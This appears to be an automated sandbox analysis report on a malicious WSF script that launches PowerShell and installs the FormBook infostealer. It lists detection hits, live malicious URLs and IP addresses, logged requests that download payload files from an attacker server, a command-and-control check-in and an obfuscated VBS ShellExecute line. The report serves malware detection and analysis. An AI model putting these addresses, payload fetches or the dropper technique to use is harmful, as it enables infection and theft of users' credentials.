Source: http://www.oyoing.com/gnbc/?BP-t5v1=C1gai5pWl56CEUX9IJicnlurrW3FMhatoBDmIFOQ7zGon0Xv0KBemEgaA/rlfkMV	Avira URL Cloud: Label: malware
Source: http://www.oyoing.com/;a3	Avira URL Cloud: Label: malware
Source: http://www.tyaer.com/gnbc/?URw=Rnl4c&BP-t5v1=L9JeOsoYfW7LuiHaclFiXmHOc0YYKxwC8gDNcZo86ZNgoJ0Ky4PaH7PNod07P46PC5yTK57EcxKk26T8ts7dcr46kIfYIZ8tiScezyY+sUlmUz9chnLJzCyoHk2LugWc+g==	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: www.tyaer.com	Virustotal: Detection: 10%	Perma Link
Source: www.oyoing.com	Virustotal: Detection: 9%	Perma Link
Source: http://87.121.105.163	Virustotal: Detection: 18%	Perma Link
Source: http://87.121.105.163/Acariatre43.chm	Virustotal: Detection: 18%	Perma Link
Source: http://87.121.105.163/icjFpYDkBweqyeZ252.bin	Virustotal: Detection: 17%	Perma Link

Multi AV Scanner detection for submitted file

Source: Ordine_doc_419024001904.wsf	ReversingLabs: Detection: 41%
Source: Ordine_doc_419024001904.wsf	Virustotal: Detection: 42%			Perma Link

Yara detected FormBook

Source: Yara match	File source: 00000009.00000002.2706108024.0000000020A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3227805976.0000000002F00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3226812010.0000000002900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3227790923.0000000000DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3227854878.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3228055880.00000000026B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2685647197.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2397711658.0000000006F9C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .Core.pdb's source: powershell.exe, 00000005.00000002.2397711658.0000000006F9C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227629846.0000000000D9E000.00000002.00000001.01000000.00000007.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000002.3227696183.0000000000D9E000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: ATBroker.pdb source: wab.exe, 00000009.00000003.2654569627.0000000004B7A000.00000004.00000020.00020000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227345383.0000000000A88000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: wab.exe, 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2594338552.000000002054D000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2592344262.0000000020393000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228252377.0000000004C5E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000003.2687837024.0000000004911000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000003.2685817873.0000000004764000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228252377.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000005.00000002.2397711658.0000000006F1B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: wab.exe, wab.exe, 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2594338552.000000002054D000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2592344262.0000000020393000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228252377.0000000004C5E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000003.2687837024.0000000004911000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000003.2685817873.0000000004764000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228252377.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2387846679.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb52 source: powershell.exe, 00000005.00000002.2387846679.0000000000A7C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ATBroker.pdbGCTL source: wab.exe, 00000009.00000003.2654569627.0000000004B7A000.00000004.00000020.00020000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227345383.0000000000A88000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000005.00000002.2397711658.0000000006F1B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wab.pdbGCTL source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002C6A000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228649501.00000000050EC000.00000004.10000000.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000000.2756945908.0000000002D1C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2991777439.0000000027D6C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wab.pdb source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002C6A000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228649501.00000000050EC000.00000004.10000000.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000000.2756945908.0000000002D1C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2991777439.0000000027D6C000.00000004.80000000.00040000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:49716 -> 47.91.88.207:80

Source: Joe Sandbox View	IP Address: 87.121.105.163 87.121.105.163
Source: Joe Sandbox View	IP Address: 47.91.88.207 47.91.88.207

Source: Joe Sandbox View

ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC

Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163

Source: global traffic	HTTP traffic detected: GET /Acariatre43.chm HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 87.121.105.163Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /icjFpYDkBweqyeZ252.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 87.121.105.163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /gnbc/?URw=Rnl4c&BP-t5v1=L9JeOsoYfW7LuiHaclFiXmHOc0YYKxwC8gDNcZo86ZNgoJ0Ky4PaH7PNod07P46PC5yTK57EcxKk26T8ts7dcr46kIfYIZ8tiScezyY+sUlmUz9chnLJzCyoHk2LugWc+g== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeHost: www.tyaer.comUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4

Source: global traffic	DNS traffic detected: DNS query: www.tyaer.com
Source: global traffic	DNS traffic detected: DNS query: www.oyoing.com
Source: global traffic	DNS traffic detected: DNS query: www.megabet303.lol

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 25 Apr 2024 06:13:14 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Trace: 2BDB2AF9C9B8D54202F32671A99FDCE197639D51BFF6A90216397E2A0B00Set-Cookie: _csrf=f445de3d72f34d31db2cc13c47576b485c838e64d90e6ad097960e119c19ba5ca%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%229Qyd7XXN84-ILww9iXyVDIv5NT3LNNax%22%3B%7D; path=/; HttpOnlyData Raw: 33 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 70 61 72 61 6d 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 63 73 72 66 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 35 47 47 43 57 2d 42 6b 74 56 4f 38 6e 37 6c 76 43 4a 34 48 65 72 5f 6f 2d 56 56 2d 70 64 66 55 65 38 31 44 6e 37 43 77 72 6f 62 64 4d 50 73 5f 31 7a 7a 74 48 59 53 72 6c 43 5a 45 36 58 42 44 31 72 43 41 41 7a 72 73 6f 65 45 31 6d 58 44 54 5f 76 37 50 5f 67 3d 3d 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 69 74 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 65 72 72 6f 72 22 3e 0a 0a 20 20 20 20 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 68 31 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 64 61 6e 67 65 72 22 3e 0a 20 20 20 20 20 20 20 20 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 54 68 65 20 61 62 6f 76 65 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 74 68 65 20 57 65 62 20 73 65 72 76 65 72 20 77 61 73 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 0a 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 75 73 20 69 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2e 20 54 68 61 6e 6b 20 79 6f 75 2e 0a 20 20 20 20 3c 2f 70 3e 0a 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 31b<!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="

Source: powershell.exe, 00000002.00000002.2458414938.000001AE31CDD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2458414938.000001AE30304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.121.105.163
Source: powershell.exe, 00000002.00000002.2458414938.000001AE30304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.121.105.163/Acariatre43.chmP
Source: powershell.exe, 00000005.00000002.2388352009.0000000004804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.121.105.163/Acariatre43.chmXR
Source: wab.exe, 00000009.00000003.2592801079.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2592625920.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2687613635.0000000004B6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.121.105.163/icjFpYDkBwd
Source: wab.exe, 00000009.00000002.2687527805.0000000004B51000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2687527805.0000000004B17000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2703035148.000000001FC90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://87.121.105.163/icjFpYDkBweqyeZ252.bin
Source: wab.exe, 00000009.00000003.2592801079.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2592625920.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2687613635.0000000004B6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.121.105.163/icjFpYDkBweqyeZ252.bin1
Source: wab.exe, 00000009.00000002.2687527805.0000000004B17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.121.105.163/icjFpYDkBweqyeZ252.bin;
Source: wab.exe, 00000009.00000002.2703035148.000000001FC90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://87.121.105.163/icjFpYDkBweqyeZ252.binMinnsTjeduelvalenza.it/ka/icjFpYDkBweqyeZ252.bin
Source: wab.exe, 00000009.00000002.2687527805.0000000004B17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.121.105.163/icjFpYDkBweqyeZ252.binllI
Source: wab.exe, 00000009.00000003.2592801079.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2592625920.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2687613635.0000000004B6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://87.121.105.163/icjFpYDkBweqyeZ252.binr
Source: powershell.exe, 00000002.00000002.2458414938.000001AE31D37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.121.H
Source: powershell.exe, 00000005.00000002.2400899960.0000000006FF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 00000002.00000002.2529825040.000001AE40151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2391197450.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.2388352009.0000000004804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2458414938.000001AE300E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2388352009.00000000046B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.2388352009.0000000004804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.2457236271.000001AE2E665000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: AtBroker.exe, 0000000C.00000002.3229883685.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.oyoing.com/;a3
Source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3229883685.0000000007D2D000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3227176757.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3229883685.0000000007DEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.oyoing.com/gnbc/?BP-t5v1=C1gai5pWl56CEUX9IJicnlurrW3FMhatoBDmIFOQ7zGon0Xv0KBemEgaA/rlfkMV
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000002.00000002.2458414938.000001AE300E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.2388352009.00000000046B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000005.00000002.2391197450.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.2391197450.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.2391197450.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000005.00000002.2388352009.0000000004804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2458414938.000001AE312AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf
Source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: AtBroker.exe, 0000000C.00000003.2875183015.0000000007D18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: powershell.exe, 00000002.00000002.2529825040.000001AE40151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2391197450.0000000005719000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 00000009.00000002.2706108024.0000000020A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3227805976.0000000002F00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3226812010.0000000002900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3227790923.0000000000DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3227854878.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3228055880.00000000026B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2685647197.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi32_4320.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 00000009.00000002.2706108024.0000000020A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3227805976.0000000002F00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3226812010.0000000002900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000D.00000002.3227790923.0000000000DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.3227854878.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.3228055880.00000000026B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.2685647197.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: powershell.exe PID: 2568, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 4320, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Potential malicious VBS script found (suspicious strings)

Source:

Initial file: Call Locutoria.ShellExecute("P" & Imposthumate & ".e" + "xe", Coruscates, "", "", Haldu)

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2985
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 2985
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2985	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 2985	Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Shell Automation Service HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{13709620-C279-11CE-A49E-444553540000}	Jump to behavior

Wscript starts Powershell (via cmd or directly)

